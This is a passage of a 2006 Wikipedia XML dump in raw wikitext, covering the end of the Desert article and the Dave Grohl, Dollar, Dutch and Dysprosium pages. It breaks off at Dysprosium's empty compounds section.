The [[Green River Formation]] of [[Colorado]], [[Wyoming]], and [[Utah]] contains [[alluvial]] fan deposits and playa evaporites created in a huge lake whose level fluctuated for millions of years. Economically significant deposits of [[trona]], a major source of [[sodium]] compounds, and thick layers of [[oil shale]] were created in the arid environment.

Some of the more productive [[petroleum]] areas on Earth are found in arid and semiarid regions of Africa and the Mideast, although the [[oil field]]s were originally formed in shallow marine environments. Recent climate change has placed these reservoirs in an arid environment.

Other oil reservoirs, however, are presumed to be eolian in origin and are presently found in humid environments. The [[Rotliegendes]], a [[hydrocarbon]] reservoir in the [[North Sea]], is associated with extensive evaporite deposits. Many of the major U.S. hydrocarbon resources may come from eolian sands. Ancient alluvial fan sequences may also be hydrocarbon reservoirs.

==List of deserts==
===Americas===
*[[Atacama]] desert in [[Chile]]
*[[Mojave Desert|Mojave]], [[Great Basin Desert|Great Basin]], [[Sonoran Desert|Sonoran]], and [[Chihuahuan Desert|Chihuahuan]]

'''See also:''' [[List of North American deserts]]

===Africa===
* [[Libyan Desert|Libyan]]
* [[Kalahari Desert|Kalahari]] 
* [[Sahara]]
* [[Namib Desert|Namib]]

===Asia-Pacific===

*[[Gobi]] desert of [[Mongolia]]; [[Taklamakan]] desert in [[China]].
*[[Kara Kum]] deserts in [[Central Asia]].
*[[Kyzyl Kum]] - [[Kazakhstan]] and [[Uzbekistan]].
*[[Taklamakan]] - [[Xinjiang]] Uighur Autonomous Region of the [[People's Republic of China]].
*[[Thar Desert|Thar]]-[[Cholistan Desert|Cholistan]] desert in [[India]] and [[Pakistan]].
====Middle East====
*[[Dasht-e Kavir]], central [[Iran]].
*[[Empty Quarter]], [[Arabian Peninsula]]. It is the world's largest sand desert.
*[[Judean Desert]] - eastern [[Israel]] and [[West Bank]].
*[[Kavir-e Lut]], southeastern [[Iran]].
*[[Negev]] - southern [[Israel]].
====Oceania====
*[[Gibson Desert]] - central [[Australia]]
*[[Great Sandy Desert]] - northwestern Australia
*[[Great Victoria Desert]] - central Australia
*[[Simpson Desert]] - central Australia
*[[Tanami Desert]] - northern Australia
*[[Rangipo Desert]] - [[New Zealand]].
===Other===
*[[Antarctica]] is the World's largest desert

==See also==
*[[outback]]
*[[oasis]]
*[[desert survival]]
*[[desert varnish]]
*[[blowout (geology)|blowout]]
*[[badlands]]
*[[hydraulic empire]]
*[[Deserts and xeric shrublands]]
*[[Katabatic wind|Katabatic]] or [[Föhn wind|Föhn]] [[wind]]s
*[[Precipitation (meteorology)|Orographic precipitation]] 
*[[Dessert]]

[[Category:Deserts|*]]
[[Category:Ecology]]
[[Category:Landforms]]
[[Category:Climate]]
{{Link FA|pt}}

[[ar:صحراء]]
[[bs:Pustinja]]
[[ca:Desert]]
[[cs:Poušť]]
[[cy:Anialwch]]
[[da:Ørken]]
[[de:Wüste]]
[[et:Kõrb]]
[[es:Desierto]]
[[eo:Dezerto]]
[[fa:بیابان]]
[[fr:Désert]]
[[fy:Woastyn]]
[[ga:Fásach]]
[[gl:Deserto]]
[[ko:사막]]
[[hr:Pustinja]]
[[io:Dezerto]]
[[is:Eyðimörk]]
[[it:Deserto]]
[[he:מדבר]]
[[la:Desertus]]
[[lt:Dykuma]]
[[hu:Sivatag]]
[[mk:Пустина]]
[[nl:Woestijn]]
[[ja:砂漠]]
[[no:Ørken]]
[[pl:Pustynia]]
[[pt:Deserto]]
[[ro:Deşert]]
[[ru:Пустыня]]
[[simple:Desert]]
[[sk:Púšť]]
[[sl:Puščava]]
[[sr:Пустиња]]
[[fi:Aavikko]]
[[sv:Öken]]
[[ta:பாலைவனம்]]
[[tr:Çöl]]
[[uk:Пустеля]]
[[zh:沙漠]]</text>
    </revision>
  </page>
  <page>
    <title>Dave Grohl</title>
    <id>8099</id>
    <revision>
      <id>41696102</id>
      <timestamp>2006-03-01T02:59:55Z</timestamp>
      <contributor>
        <username>ChrisB</username>
        <id>97893</id>
      </contributor>
      <comment>rv: see the picture of dave with the guitar?  the paragraph to the left of it talks about him playing for qotsa</comment>
      <text xml:space="preserve">{{Infobox Biography
|subject_name=David Eric Grohl
|image_name=Grohl.jpg
|date_of_birth=[[January 14]], [[1969]]
|place_of_birth=[[Warren, Ohio|Warren]], [[Ohio]], [[United States|USA]]
}}'''David Eric Grohl''' (born [[January 14]], [[1969]], in [[Warren, Ohio]]) is an [[United States|American]] [[Rock (music)|rock]] musician. He was the [[drummer]] of the [[grunge music|grunge]] band [[Nirvana (band)|Nirvana]] from [[1990]] until the band dissolved in [[1994]] after frontman [[Kurt Cobain]]'s death. He formed the [[Foo Fighters (band)|Foo Fighters]] in 1995.
Grohl began his music career in the [[1980s]] as the drummer for several [[Washington, DC]] area bands, most notably the [[punk rock]] band [[Scream (band)|Scream]].  

==Early life==
When Grohl was a young child, his family (father James, mother Virginia, and an older sister) relocated from Ohio to [[Alexandria, Virginia]], a suburb of Washington, DC.  Three years later, his parents divorced, and Grohl grew up living with his mother.

At the age of twelve, Grohl began tinkering with the guitar.  He started with lessons, but eventually grew tired of them, and began to play in bands with friends.  A year later, a summer stay at his cousin's house spawned Grohl's interest in [[punk rock]].  Grohl's cousin Tracy took him to numerous punk shows during that summer, and Grohl returned to Alexandria as a convert.

Over the next several years, Grohl played in several local bands, including a stint on guitar in a band called Freak Baby.  At the same time, he had been teaching himself to play drums by banging on various items in his bedroom.  When Freak Baby kicked out its bass player, Grohl decided to switch to drums, and the new band coined itself Mission Impossible.{{ref|early}}  He later joined a hardcore/post-punk band called Dain Bramage.  During his developing years as a drummer, Grohl cited [[John Bonham]] as his greatest influence, and eventually had Bonham's three-circle logo [[tattoo]]ed on his wrist.

==Scream==
{{main|Scream (band)}}
At the age of sixteen, Grohl scored an audition with local DC favorites [[Scream (band)|Scream]] to fill the vacancy left by the departure of drummer Kent Stax. To Grohl's surprise, the band asked him to join.  After waffling for a brief period, Grohl accepted the offer.  Not long after, he dropped out of high school to play drums full-time.  Over the next four years, Grohl toured extensively with the band, recording a couple of live albums and one studio album, ''Fumble'', on which Grohl penned and sang vocals on the song &quot;Gods Look Down&quot;.

While playing in Scream, Grohl became a fan of [[The Melvins]] and eventually befriended the band.  During a [[1990]] tour stop on the west coast, The Melvins' [[Buzz Osborne]] took a couple of his friends, [[Kurt Cobain]] and &lt;!--Krist is listed here as &quot;Chris&quot; because he went by Chris at the time.--&gt; [[Krist Novoselic|Chris Novoselic]], to see the band.

==Nirvana==
{{main|Nirvana (band)}}
A few months later, Scream unexpectedly disbanded following the departure of its bass player, and Grohl placed a phone call to Osborne for advice.  Knowing how much Cobain and Novoselic liked Grohl's drumming, Osborne gave Novoselic's phone number to Grohl.  Novoselic invited Grohl up to Seattle, where Grohl attended Nirvana's infamous show at the Motor Sports Garage, the one Nirvana show that featured [[Dan Peters]] on drums.  (Grohl admitted to ''[[Rolling Stone]]'' in 2005 that he spent most of Nirvana's set outside talking to a friend.)  Grohl subsequently auditioned for the band, and soon joined the band full-time.

At the time that Grohl joined Nirvana, the band had already recorded several demos for what would be the follow-up to their debut album ''[[Bleach (album)|Bleach]]'', having spent time recording with producer [[Butch Vig]] in [[Wisconsin]].  Initially, the plans were to release the album on [[Sub Pop]], but the band found itself receiving a great deal of major label interest based on the demos.  Grohl spent the initial months with Nirvana travelling to various major labels as the band shopped for a deal, eventually signing with [[DGC Records]].  In the spring of 1991, the band entered the studio to record the album.

Upon its release, ''[[Nevermind]]'' exceeded all expectations and became a massive success, catapulting the band to worldwide stardom.  At the same time, Grohl found himself fighting with his status in the band.  While his drumming style was a significant element in the band's success, Grohl saw himself as just another in a long line of drummers.  In his mind, Nirvana was the band that recorded ''Bleach''; his arrival had altered that sound dramatically, and, as he saw it, not necessarily in a positive way.  Though Grohl had been writing songs for several years, he declined to introduce his songs to the band for fear of damaging the band's chemistry.  Instead, Grohl compiled his songs and recorded them himself, releasing a cassette demo called ''Pocketwatch'' in [[1992]] on indie label Simple Machines.  Rather than using his own name, Grohl released the cassette under the pseudonym &quot;Late!&quot;.

In the later years of Nirvana, Grohl's songwriting contributions increased.  In Grohl's initial months in Seattle, Cobain overheard him working on a song called &quot;Color Pictures of a Marigold&quot;, and the two ended up jamming on it.  During the sessions for ''[[In Utero]]'', the band decided to record the song, and released it as a b-side on the &quot;[[Heart-Shaped Box]]&quot; single, titled simply &quot;Marigold&quot;.  Earlier, as the band worked on new material for ''In Utero'', Grohl contributed the main guitar riff for what ended up becoming &quot;[[Scentless Apprentice]]&quot;.  Cobain conceded in a late 1993 MTV interview that he initially thought the riff was &quot;kind of boneheaded&quot;, but was gratified at how the song developed (a process captured in part in a demo on the Nirvana box set ''[[With the Lights Out]]'').  Cobain noted that he was excited at the possibility of having Novoselic and Grohl contribute more to the band's songwriting.

Prior to their 1994 European tour, the band decided to schedule session time at [[Robert Lang Studios]] in Seattle to work on demos.  For most of the three-day session, Cobain was absent, so Novoselic and Grohl worked on demos of their own songs.  The duo completed several of Grohl's, including future [[Foo Fighters]] songs &quot;Exhausted&quot;, &quot;[[Big Me]]&quot;, &quot;February Stars&quot;, and &quot;Butterflies&quot;.  On the third day of the session, Cobain finally arrived, and the band recorded a demo of a song later named &quot;[[You Know You're Right]]&quot;.  It was the band's final studio recording.

==Foo Fighters==
{{main|Foo Fighters}}
Following Cobain's death in April of 1994, Grohl retreated, unsure of where to go and what to do with himself.  Initially, Grohl believed his future might be in drumming for other bands, and took a brief turn with [[Tom Petty and the Heartbreakers]], including a memorable performance on [[Saturday Night Live]].  The band asked him to join permanently, but Grohl realized that his future lay elsewhere.

Grohl decided to schedule studio time, again at Robert Lang's Studio, and quickly recorded a fifteen-track demo.  With the exception of a single guitar part on &quot;X-Static&quot; played by Greg Dulli of the [[Afghan Whigs]], Grohl performed all of the instruments himself.  Grohl began passing the demo around, and soon found himself with considerable major label interest.  Nirvana's A&amp;R rep Gary Gersh had subsequently taken over as President of [[Capitol Records]] and lured Grohl to sign with the label.  Grohl's demo was given a professional mix by Rob Schnapf and Tom Rothrock and released in 1995 as the Foo Fighters' [[Foo Fighters (album)|debut album]].  Grohl did not want the effort to be considered the start of a solo career so he recruited other band members: former Nirvana touring guitarist [[Pat Smear]], and two members of the band [[Sunny Day Real Estate]], [[William Goldsmith]] (drums) and [[Nate Mendel]] (bass).

At the end of 1995, the Foo Fighters were asked to contribute a song to the soundtrack to the television show [[The X-Files]].  During a break between tours, the band entered the studio and recorded a cover of [[Gary Numan]]'s &quot;[[Down in the Park]]&quot;.  In February of 1996, Grohl and his then-wife Jennifer Youngblood made a brief cameo appearance on the X-Files episode &quot;The Pusher&quot;.  (The two can be spotted entering the FBI building, with Grohl pausing to look at his watch.)

[[Image:Touch.jpg|200px|thumb|''Touch'' soundtrack album cover]]After touring for the self-titled album for more than a year, Grohl returned home and began work on the soundtrack to the [[1997]] movie ''Touch''.  Grohl performed all of the instruments and vocals himself, save for vocals from [[Veruca Salt]] singer Louise Post on the title track, and vocals and guitar by [[X (US band)|X]]'s [[John Doe (musician)|John Doe]] on &quot;This Loving Thing (Lynn's Song)&quot;.  Grohl completed the recording in two weeks, and immediately joined the Foo Fighters to work on their follow-up.

In the midst of the initial sessions for the Foo Fighters' second album, tension emerged between Grohl and Goldsmith.  Grohl felt that Goldsmith's efforts weren't as strong as they needed to be, and opted to re-record some of Goldsmith's drum parts himself.  Goldsmith, who found himself battling [[carpal tunnel syndrome]] from years of pounding the drums, was upset by Grohl's action, and quit the band. (In subsequent interviews, Grohl conceded that the band may have moved into the studio too quickly after the lengthy touring for the debut.)  Grohl and the rest of the band decided to scrap the Seattle sessions and start over in [[Los Angeles]] with Grohl behind the kit. 

The effort was released in May of 1997 as the band's second album, ''[[The Colour and the Shape]]'', which eventually cemented the Foo Fighters as a staple of rock radio.  The album spawned several hits, including &quot;[[Everlong]]&quot;, &quot;[[My Hero (song)|My Hero]]&quot;, and &quot;[[Monkey Wrench (song)|Monkey Wrench]]&quot;.  Just prior to the album's release, former [[Alanis Morissette]] drummer [[Taylor Hawkins]] joined the band on drums.  The following September, Smear left the band, citing a need to settle down following a lifetime of touring.  Smear was subsequently replaced by Grohl's former Scream bandmate Franz Stahl.  (Stahl departed the band prior to recording of the Foo's third album and was replaced by touring guitarist Chris Shiflett, who later became a full-fledged member during the recording of ''[[One by One]]''.)

Grohl's life of non-stop touring and travel continued with the Foo Fighters' popularity.  During his infrequent pauses he lived in [[Seattle, Washington|Seattle]] and [[Los Angeles, California|Los Angeles]] before returning to his native [[Alexandria, Virginia]]. It was there that he turned his basement into a recording studio where the [[1999]] album ''[[There Is Nothing Left to Lose]]'' was recorded.

In [[2000]], the band recruited [[Queen (band)|Queen]] guitarist [[Brian May]] to add some guitar flourish to a cover of [[Pink Floyd]]'s &quot;Have a Cigar&quot;, a song which the Foo Fighters previously recorded as a b-side.  The friendship between the two bands resulted in Grohl and Taylor Hawkins being asked to induct Queen into the [[Rock and Roll Hall of Fame]] in [[2001]].  Grohl and Hawkins joined May and Queen drummer [[Roger Meddows-Taylor|Roger Taylor]] to perform &quot;[[Tie Your Mother Down]]&quot;, with Grohl standing in on vocals for the late [[Freddie Mercury]].  (May later contributed guitar work for the song &quot;Tired of You&quot; on the ensuing Foo Fighters album, as well as on an unreleased Foo Fighters song called &quot;Knucklehead&quot;.)

[[Image:DaveGrohlphoto.jpg|thumb|right|Grohl at the Roskilde Festival in 2005]]

Near the end of 2001, the Foo Fighters returned to the studio to work on their fourth album.  After four months in the studio, with the sessions &quot;finished&quot;, Grohl accepted an invitation to join [[Queens of the Stone Age]] and helped them to record their 2002 album ''[[Songs for the Deaf]]''.  (Grohl can be seen drumming for the band in the video for the song &quot;[[No One Knows]]&quot;.)  After a brief US tour with the band and feeling rejuvenated by the effort, Grohl recalled the other Foo Fighters to completely re-record their album at his studio in Virginia.  The effort became their fourth album, ''[[One by One]]''.  While initially pleased with the results, in another 2005 ''Rolling Stone'' interview, Dave Grohl admitted to not liking the record:  &quot;Four of the songs were good, and the other seven I never played again in my life. We rushed into it, and we rushed out of it.&quot;

Grohl and the Foo Fighters released their fifth album ''[[In Your Honor]]'' on June 14, 2005.  Prior to starting work on the album, the band spent almost a year relocating Grohl's home-based Virginia studio to a brand new facility, dubbed Studio 606, located in a warehouse near Los Angeles.  Featuring collaborations with [[John Paul Jones (musician)|John Paul Jones]] of [[Led Zeppelin]], [[Josh Homme]] of [[Queens of the Stone Age]] and [[Norah Jones]], the album was a departure from previous efforts, and included one rock and one acoustic disc.

==Other Projects==

Apart from his main bands, Grohl has been involved in other music projects.  In 1993, Grohl was recruited to help recreate the music of [[The Beatles]]' early years for the movie ''[[Backbeat (film)|Backbeat]]''.  Grohl played drums in an &quot;all-star&quot; lineup that included [[Greg Dulli]] of the [[Afghan Whigs]], indie producer Don Fleming, [[Mike Mills]] of [[R.E.M. (band)|R.E.M.]], [[Thurston Moore]] of [[Sonic Youth]], and [[Dave Pirner]] of [[Soul Asylum]].  A music video was filmed for the song &quot;[[Money (That's What I Want)]]&quot; while Grohl was with Nirvana on their 1994 European tour, but footage of Grohl was filmed later and included.

During the early 2000s, Grohl spent time in his basement studio writing and recording a number of songs for a &quot;[[Metal music|metal]]&quot; project.  Over the span of several years, Grohl recruited his favorite metal vocalists from the 1980s, including [[Lemmy Kilmister]] of [[Motörhead]], Cronos from [[Venom (band)|Venom]], and [[Max Cavalera]] of [[Sepultura]], to perform the vocals for the songs.  According to an interview published in the magazine ''[[Guitar World]]'', the project began as a self-induced backlash against the more radio-friendly material Grohl wrote for ''There Is Nothing Left to Lose''.  The project was released in 2003 under the [[moniker]] [[PROBOT]].

Also in 2003, Grohl stepped behind the kit to perform on [[Killing Joke]]'s [[Killing_Joke_2003_(album)|self-titled album]].  The move surprised some Nirvana fans, given that Nirvana had been accused of stealing the opening riff of &quot;[[Come As You Are]]&quot; from Killing Joke's [[1984]] song &quot;Eighties&quot;.  However, the controversy failed to create a lasting rift between the bands.  The Foo Fighters made a habit of covering Killing Joke's &quot;Requiem&quot; during the late 1990s, and were even joined by Killing Joke singer [[Jaz Coleman]] for a performance of the song at a show in [[New Zealand]] in 2003.

Grohl lent his drumming skills to other artists during the early 2000s.  In 2002, Grohl performed on [[Tenacious D]]'s debut album, and appeared in the video for lead single &quot;[[Tribute (song)|Tribute]]&quot; as the [[Devil|devil]].  A year later, Grohl helped [[Chan Marshall]] of [[Cat Power]] on the album ''[[You Are Free]]''.  In [[2004]], Grohl drummed on several tracks for [[Nine Inch Nails]]' 2005 album ''[[With Teeth]]''.  He also drummed on the song &quot;Bad Boyfriend&quot; on [[Garbage (band)|Garbage]]'s 2005 album ''[[Bleed Like Me]]''.  Beyond drumming, Grohl contributed guitar to a cover of [[Neil Young]]'s &quot;I've Been Waiting For You&quot; on [[David Bowie]]'s 2002 album ''[[Heathen (album)|Heathen]]''.

==References==
#{{note|early}}Azerrad, Michael. ''Come As You Are: The Story of Nirvana''. Doubleday, 1993.  ISBN 0385471998, p. 149

==External links==
*{{imdb name|id=0342970|name=Dave Grohl}}
*[http://www.foofighters.com Foo Fighters official website]
*[http://www.fooarchive.com FooArchive - An archive of Dave interviews 95-present]

{{Nirvana (band)}}

[[Category:1969 births|Grohl, Dave]]
[[Category:Living people|Grohl, Dave]]
[[Category:American guitarists|Grohl, Dave]]
[[Category:American male singers|Grohl, Dave]]
[[Category:American drummers|Grohl, Dave]]
[[Category:Foo Fighters members]]
[[Category:Grunge musicians|Grohl, Dave]]
[[Category:Multi-instrumentalists|Grohl, Dave]]
[[Category:Nirvana|Grohl, Dave]]
[[Category:People from Ohio|Grohl, Dave]]
[[Category:People from Virginia|Grohl, Dave]]
[[Category:Roman Catholic musicians|Grohl, Dave]]

[[cs:Dave Grohl]]
[[de:Dave Grohl]]
[[es:Dave Grohl]]
[[fr:Dave Grohl]]
[[ga:Dave Grohl]]
[[id:Dave Grohl]]
[[he:דייב גרוהל]]
[[nl:Dave Grohl]]
[[no:Dave Grohl]]
[[pl:Dave Grohl]]
[[simple:Dave Grohl]]
[[fi:Dave Grohl]]
[[sv:Dave Grohl]]</text>
    </revision>
  </page>
  <page>
    <title>Dollar</title>
    <id>8100</id>
    <revision>
      <id>41778819</id>
      <timestamp>2006-03-01T18:10:10Z</timestamp>
      <contributor>
        <ip>216.129.91.158</ip>
      </contributor>
      <comment>/* Synonyms and slang */</comment>
      <text xml:space="preserve">''This page is about the '''dollar currency'''. For information about the Scottish town of Dollar, see [[Dollar, Clackmannanshire]]''

The '''dollar''' (represented by the [[dollar sign]]: &quot;$&quot;) is the name of the official [[currency]] in several countries, dependencies and other regions. The [[United States dollar]] is the world's most widely circulated currency.

==History==
The name is related to the historic currencies Tolar in [[Bohemia]], [[Thaler]] or Taler in [[Germany]], [[Dutch gulden|daalder]] in the [[Netherlands]] and [[Riksdaler|daler]] in [[Sweden]], [[Denmark]], and [[Norway]]. The name ''Thaler'' (from ''Thal,'' or nowadays usually ''Tal,'' &quot;valley&quot;) originally came from the German ''Guldengroschen'' (&quot;great gulden&quot;, being of [[silver]] but equal in value to a [[gold]] gulden) coin, minted from the silver from a rich mine at [[Joachimsthal]] (St. Joachim's Valley) in [[Bohemia]] (then part of the [[Holy Roman Empire]]). 

The name &quot;[[Spanish dollar]]&quot; was used for a Spanish silver coin, the [[peso]], worth eight reals (hence the nickname &quot;pieces of eight&quot;), which was widely circulated during the [[18th century]] in the [[Spanish colonization of the Americas|Spanish colonies in the New World]]. The use of the Spanish dollar and the [[Maria Theresa of Austria|Maria Theresa]] thaler as legal tender for the early [[United States]] is the reason for the name of the nation's currency. However, the word ''dollar'' was in use in the [[English language]] for the thaler for about 200 years before the [[American Revolution]]. Spanish dollars were in circulation in the [[Thirteen Colonies]] that became the United States, and were [[legal tender]] in [[Virginia]]. 

Coins known as dollars were also in use in [[Scotland]] during the [[17th century]], and there is a claim that the use of the English word, and perhaps even the use of the coin, began at the [[University of St Andrews]]. This explains why the sum of 'Ten thousand dollars' mentioned in [[Macbeth]] (Act I, Scene II) is not an anachronism.

In the early 19th century, a British five shilling piece, or [[Crown (British coin)|Crown]], was sometimes called a dollar, probably because its appearance was similar to the Spanish dollar. This expression appeared again in the 1940s, when U.S. troops came to the UK during [[World War II]]. At the time a U.S. dollar was worth exactly 5s., so some of the U.S. soldiers started calling it a dollar. Consequently, they called the [[half crown]] &quot;half a dollar&quot;, and the expression caught on among some locals and could be heard into the 1960s.

==Synonyms and slang==
* The word ''buck'', possibly an abbreviation from ''buckskin,'' an intrinsic 'currency' for trade with American Indians known since [[1746]], has been recorded since [[1856]] and is widely used as a synonym for the dollars of many countries, including Australia, Canada, New Zealand and the United States. The latter term, ''skin'', is also used as a synonym as is the possibly related term ''squaw money.''
* ''Greenback'', a nickname originally applied to a 19th-century United States [[Federal Reserve]] note, is now a common specific reference to the [[U.S. dollar]] (bills of which are now green on both sides); it is not used for coins or dollars of other countries.

==Symbol==
The [[dollar sign]] ($) is a stylization of the heraldic depiction of the [[Pillars of Hercules]] (representing the Straits of [[Gibraltar]]) on Spanish pieces of eight. The notion that it originated as a crossed &quot;U&quot; and &quot;S&quot;, for &quot;United States&quot;, and that the bottom of the &quot;U&quot; somehow ceased to appear, is entirely fanciful, as the symbol was in use before the term &quot;United States&quot; was coined.

==Related names in modern currencies==
*The name of the currency of [[Samoa]], the ''[[Samoan tala|tala]]'' is based on the [[Samoan language|Samoan]] pronunciation of the word &quot;dollar&quot;. Likewise, the name of the smaller unit, ''seneiti'', equates to &quot;cent&quot;.
*The word for the [[Slovenian tolar]] has the same origin as dollar, i.e. [[thaler]].

==National currencies called &quot;dollar&quot;==
*[[Australian dollar]]
*[[Barbados dollar]]
*[[Bahamian dollar]]
*[[Belize dollar]]
*[[Bermuda dollar]]
*[[Brunei dollar]]
*[[Canadian dollar]]
*[[Cayman Islands dollar]]
*[[East Caribbean dollar]]
*[[Fijian dollar]]
*[[Guyanese dollar]]
*[[Hong Kong dollar]]
*[[Jamaican dollar]]
*[[Liberian dollar]]
*[[Namibian dollar]]
*[[New Zealand dollar]]
*[[Singapore dollar]]
*[[Solomon Islands dollar]]
*[[Suriname dollar]]
*[[New Taiwan dollar]]
*[[Trinidad and Tobago dollar]]
*[[United States dollar]]
*[[Zimbabwean dollar]] (see also [[Rhodesian dollar]])

The name has also been applied to the [[international dollar]], a hypothetical unit of currency that has the same purchasing power that the U.S. dollar has in the United States at a given point in time.

==See also==
[[U.S. one dollar bill]]&lt;br&gt;
[[List of circulating currencies]]

==Sources and references==
* [http://www.etymonline.com/index.php?search=buck&amp;searchmode=none Etymonline (word history)] and [http://www.etymonline.com/index.php?search=dollar&amp;searchmode=none Etymonline (word history)]
* [http://thesaurus.reference.com/search?q=dollar Thesaurus (synonyms)]
* [http://www.thesource4ym.com/teenlingo/ The Source: Slang Dictionary]

[[Category:Currency]]
[[Category:German loanwords]]
[[Category:Numismatics]]

[[ca:Dòlar]]
[[cs:Dolar]]
[[da:Dollar]]
[[de:Dollar]]
[[et:Dollar]]
[[es:Dólar]]
[[eo:Dolaro (monunuo)]]
[[fa:دلار]]
[[fr:Dollar]]
[[gl:Dólar]]
[[ko:달러]]
[[hr:Dolar]]
[[id:Dolar]]
[[it:Dollaro]]
[[he:דולר]]
[[lt:Doleris]]
[[nl:Dollar (munt)]]
[[nds:Dollar]]
[[ja:ドル]]
[[no:Dollar]]
[[nn:Dollar]]
[[pl:Dolar]]
[[pt:Dólar]]
[[ru:Доллар]]
[[sq:Dollari]]
[[simple:Dollar]]
[[sk:Dolár]]
[[sv:Dollar]]
[[vi:Đô la]]
[[zh:銀圓]]</text>
    </revision>
  </page>
  <page>
    <title>Dutch</title>
    <id>8101</id>
    <revision>
      <id>41107511</id>
      <timestamp>2006-02-25T02:21:32Z</timestamp>
      <contributor>
        <username>Westfall</username>
        <id>965234</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Dutch''' can refer to:

* people and things from the [[Netherlands (disambiguation)|Netherlands]]
* [[Dutch language]]
* [[Dutch people]]
* [[Dutch Masters]] cigars, often referred to as a Dutch in drug culture
* [[Pennsylvania Dutch]], a name for the Plain sects Amish communities

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Dysprosium</title>
    <id>8102</id>
    <revision>
      <id>40009446</id>
      <timestamp>2006-02-17T13:38:03Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ko</comment>
      <text xml:space="preserve">{{Elementbox_header | number=66 | symbol=Dy | name=dysprosium | left=[[terbium]] | right=[[holmium]] | above=- | below=[[californium|Cf]] | color1=#ffbfff | color2=black }}
{{Elementbox_series | [[lanthanide]]s }}
{{Elementbox_periodblock | period=6 | block=f }}
{{Elementbox_appearance_img | Dy,66| silvery white }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|162.500]][[List of elements by atomic mass|(1)]] }}
{{Elementbox_econfig | &amp;#91;[[xenon|Xe]]&amp;#93; 4f&lt;sup&gt;10&lt;/sup&gt; 6s&lt;sup&gt;2&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 18, 28, 8, 2 }}
{{Elementbox_section_physicalprop | color1=#ffbfff | color2=black }}
{{Elementbox_phase | [[solid]] }}
{{Elementbox_density_gpcm3nrt | 8.540 }}
{{Elementbox_densityliq_gpcm3mp | 8.37 }}
{{Elementbox_meltingpoint | k=1680 | c=1407 | f=2565 }}
{{Elementbox_boilingpoint | k=2840 | c=2567 | f=4653 }}
{{Elementbox_heatfusion_kjpmol | 11.06 }}
{{Elementbox_heatvaporiz_kjpmol | 280 }}
{{Elementbox_heatcapacity_jpmolkat25 | 27.7 }}
{{Elementbox_vaporpressure_katpa | 1378 | 1523 | (1704) | (1954) | (2304) | (2831) | comment= }}
{{Elementbox_section_atomicprop | color1=#ffbfff | color2=black }}
{{Elementbox_crystalstruct | hexagonal }}
{{Elementbox_oxistates | 3&lt;br /&gt;(weakly [[base (chemistry)|basic]] oxide) }}
{{Elementbox_electroneg_pauling | 1.22 }}
{{Elementbox_ionizationenergies4 | 573.0 | 1130 | 2200 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|175]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-10 m|228]] }}
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{{Elementbox_magnetic | nonmagnetic at [[room temperature|r.t.]],&lt;br /&gt;[[ferromagnetism|ferromagnetic]] under&lt;br /&gt;liquid [[nitrogen]] }}
{{Elementbox_eresist_ohmm | ([[room temperature|r.t.]]) (&amp;alpha;, poly) 926 n}}
{{Elementbox_thermalcond_wpmkat300k | 10.7 }}
{{Elementbox_thermalexpansion_umpmk | ([[room temperature|r.t.]]) (&amp;alpha;, poly)&lt;br /&gt;9.9 }}
{{Elementbox_speedofsound_rodmpsat20 | 2710 }}
{{Elementbox_youngsmodulus_gpa | (&amp;alpha; form) 61.4 }}
{{Elementbox_shearmodulus_gpa | (&amp;alpha; form) 24.7 }}
{{Elementbox_bulkmodulus_gpa | (&amp;alpha; form) 40.5 }}
{{Elementbox_poissonratio | (&amp;alpha; form) 0.247 }}
{{Elementbox_vickershardness_mpa | 540 }}
{{Elementbox_brinellhardness_mpa | 500 }}
{{Elementbox_cas_number | 7429-91-6 }}
{{Elementbox_isotopes_begin | isotopesof=dysprosium | color1=#ffbfff | color2=black }}
{{Elementbox_isotopes_decay | mn=154 | sym=Dy
 | na=[[synthetic radioisotope|syn]] | hl=3.0&amp;times;10&lt;sup&gt;6&lt;/sup&gt;y
 | dm=[[alpha decay|&amp;alpha;]] | de=2.947 | pn=150 | ps=[[gadolinium|Gd]] }}
{{Elementbox_isotopes_stable | mn=156 | sym=Dy | na=0.06% | n=90 }}
{{Elementbox_isotopes_stable | mn=158 | sym=Dy | na=0.10% | n=92 }}
{{Elementbox_isotopes_stable | mn=160 | sym=Dy | na=2.34% | n=94 }}
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{{Elementbox_isotopes_stable | mn=162 | sym=Dy | na=25.51% | n=96 }}
{{Elementbox_isotopes_stable | mn=163 | sym=Dy | na=24.90% | n=97 }}
{{Elementbox_isotopes_stable | mn=164 | sym=Dy | na=28.18% | n=98 }}
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{{Elementbox_footer | color1=#ffbfff | color2=black }}

'''Dysprosium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Dy''' and [[atomic number]] 66.

== Notable characteristics ==
Dysprosium is a [[rare earth]] element that has a metallic, bright silver luster, relatively stable in air at room temperature, but dissolving readily in dilute or concentrated [[mineral acid]]s with the emission of [[hydrogen]]. It is soft enough to be cut with a knife, and can be machined without sparking if overheating is avoided. Dysprosium's characteristics can be greatly affected even by small amounts of impurities.

== Applications ==
Dysprosium is used, in conjunction with [[vanadium]] and other elements, for making [[laser]] materials; its high [[thermal neutron]] absorption cross-section and melting point also suggest using it for [[nuclear control rod]]s, dysprosium oxide (also known as ''dysprosia'') with [[nickel]] [[cement]] compounds which absorb neutrons readily without swelling or contracting under prolonged neutron bombardment, is being used for cooling rods in [[nuclear reactor]]s. Dysprosium-[[cadmium]] [[chalcogen|chalcogenide]]s are sources of [[infrared]] radiation for studying chemical reactions; furthermore, dysprosium is used for manufacturing [[compact disc]]s.

== History ==
Dysprosium was first identified in [[Paris]] in [[1886]] by [[France|French]] [[chemist]] [[Paul Émile Lecoq de Boisbaudran]]; however, the element itself was not isolated in relatively pure form until after the development of [[ion exchange]] and [[metallographic reduction]] techniques in the [[1950s]]. The name dysprosium is derived from [[Greece|Greek]] ''dysprositos'', &quot;hard to get at&quot;.

== Occurrence ==
Dysprosium is never encountered as the free element, but is found in many [[mineral]]s, including [[xenotime]], [[fergusonite]], [[gadolinite]], [[euxenite]], [[polycrase]], [[blomstrandine]], [[monazite]] and [[bastnasite]], often with [[erbium]] and [[holmium]] or other rare earth elements.

== Compounds ==
